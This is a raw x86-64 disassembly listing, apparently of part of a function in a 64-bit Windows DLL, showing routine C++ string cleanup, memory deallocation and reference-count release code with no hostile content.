mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x2c0]
cmovae rdx, qword [rbp - 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rax + 0x10]
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x2a0]
movups xmmword [rbp + 0x2b0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x280]
cmovae rdx, qword [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x290], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov r8d, 3
lea rdx, [0x180103f58]
lea rcx, [rbp + 0x260]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x270], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x450], xmm6
movups xmmword [rbp + 0x460], xmm7
cmp rdx, 0x10
jb 0x180098510
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009850b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdx, qword [rbp + 0x278]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x18009855b
mov rcx, qword [rbp + 0x260]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098556
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdx, qword [rbp + 0x298]
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x278], 0xf
mov byte [rbp + 0x260], r15b
cmp rdx, 0x10
jb 0x1800985b5
mov rcx, qword [rbp + 0x280]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800985b0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdx, qword [rbp + 0x2b8]
mov qword [rbp + 0x290], r15
mov qword [rbp + 0x298], 0xf
mov byte [rbp + 0x280], r15b
cmp rdx, 0x10
jb 0x18009860f
mov rcx, qword [rbp + 0x2a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009860a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdx, qword [rbp + 0x2d8]
mov qword [rbp + 0x2b0], r15
mov qword [rbp + 0x2b8], 0xf
mov byte [rbp + 0x2a0], r15b
cmp rdx, 0x10
jb 0x180098669
mov rcx, qword [rbp + 0x2c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098664
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdx, qword [rbp + 0x2f8]
mov qword [rbp + 0x2d0], r15
mov qword [rbp + 0x2d8], 0xf
mov byte [rbp + 0x2c0], r15b
cmp rdx, 0x10
jb 0x1800986c3
mov rcx, qword [rbp + 0x2e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800986be
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdx, qword [rbp + 0x318]
mov qword [rbp + 0x2f0], r15
mov qword [rbp + 0x2f8], 0xf
mov byte [rbp + 0x2e0], r15b
cmp rdx, 0x10
jb 0x18009871d
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098718
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdx, qword [rbp + 0x338]
mov qword [rbp + 0x310], r15
mov qword [rbp + 0x318], 0xf
mov byte [rbp + 0x300], r15b
cmp rdx, 0x10
jb 0x180098777
mov rcx, qword [rbp + 0x320]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098772
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdx, qword [rbp + 0x368]
mov qword [rbp + 0x330], r15
mov qword [rbp + 0x338], 0xf
mov byte [rbp + 0x320], r15b
cmp rdx, 0x10
jb 0x1800987d1
mov rcx, qword [rbp + 0x350]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800987cc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdx, qword [rbp + 0x198]
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], r15b
cmp rdx, 0x10
jb 0x18009882b
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098826
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c7d
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
inc dword [0x1801194bc]
mov r8, qword [rbp + 0xe0]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x128]
sub rcx, qword [rbp + 0xd0]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], r15b
je 0x180098897
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
jmp 0x18009889f
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
sub rcx, qword [rbp + 8]
add rcx, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x78]
add rbx, rcx
mov rax, qword [rsp + 0x70]
jmp 0x1800977b0
call qword [0x1801194e8]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1800988f9
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800988f4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c83
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180098934
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009892f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c83
call fcn.1800c1180
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180098971
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009896c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c83
call fcn.1800c1180
mov r8, qword [rbp + 0xe0]
test r8, r8
je 0x1800989e2
mov rcx, qword [rbp + 0xf0]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x1800989c8
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c83
mov rcx, r8
call fcn.1800c1180
xorps xmm0, xmm0
mov qword [rbp + 0xf0], r15
movdqa xmmword [rbp + 0xe0], xmm0
mov rcx, qword [rbp + 0x50]
test rcx, rcx
je 0x180098a1d
mov eax, r12d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x180098a1d
mov rbx, qword [rbp + 0x50]
test rbx, rbx
je 0x180098a1d
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180098a01
mov rcx, qword [rbp + 0x70]
mov qword [rbp + 0x50], r15
test rcx, rcx
je 0x180098a43
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180098a43
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x180098a7e
mov eax, r12d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x180098a7e
mov rbx, qword [rbp + 0x78]
test rbx, rbx
je 0x180098a7e
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180098a62
mov rcx, qword [rbp + 0x98]
mov qword [rbp + 0x78], r15
test rcx, rcx
je 0x180098aa7
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180098aa7
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0xa0]
test rax, rax
je 0x180098ae7
lock xadd dword [rax + 0x2c], r12d
cmp r12d, 1
jne 0x180098ae7
mov rbx, qword [rbp + 0xa0]
test rbx, rbx
je 0x180098ae7
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180098acb
mov rcx, qword [rbp + 0xc0]
mov qword [rbp + 0xa0], r15
test rcx, rcx
je 0x180098b13
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180098b13
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r15, qword [rbp + 0x510]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180098b56
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098b51
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c35
call fcn.1800c1180
xor r12d, r12d
movups xmm0, xmmword [rsp + 0x30]
mov rdx, qword [rbp]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [r15], xmm0
movups xmmword [r15 + 0x10], xmm1
cmp rdx, 0x10
jb 0x180098ba7
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098ba2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180098c3b
call fcn.1800c1180
mov rdx, qword [r13 + 0x18]
mov qword [rbp - 8], r12
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
cmp rdx, 0x10
jb 0x180098bee
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x180098be9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180098c3b
mov rcx, r8
call fcn.1800c1180
mov rcx, r14
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
call fcn.1800b8830
movaps xmm6, xmmword [rsp + 0x5c0]
mov rax, r15
movaps xmm7, xmmword [rsp + 0x5b0]
mov rbx, qword [rsp + 0x618]
add rsp, 0x5d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.180089bd0
int3
call fcn.180089bd0
int3
call fcn.180089bd0
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3